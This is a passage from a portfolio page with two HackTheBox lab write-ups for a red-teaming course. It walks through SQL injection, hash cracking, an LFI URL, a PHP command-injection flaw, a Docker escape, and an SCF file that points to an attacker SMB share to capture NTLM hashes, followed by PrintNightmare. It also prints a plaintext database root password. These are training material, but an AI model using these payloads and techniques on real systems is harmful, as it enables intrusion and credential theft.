href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div 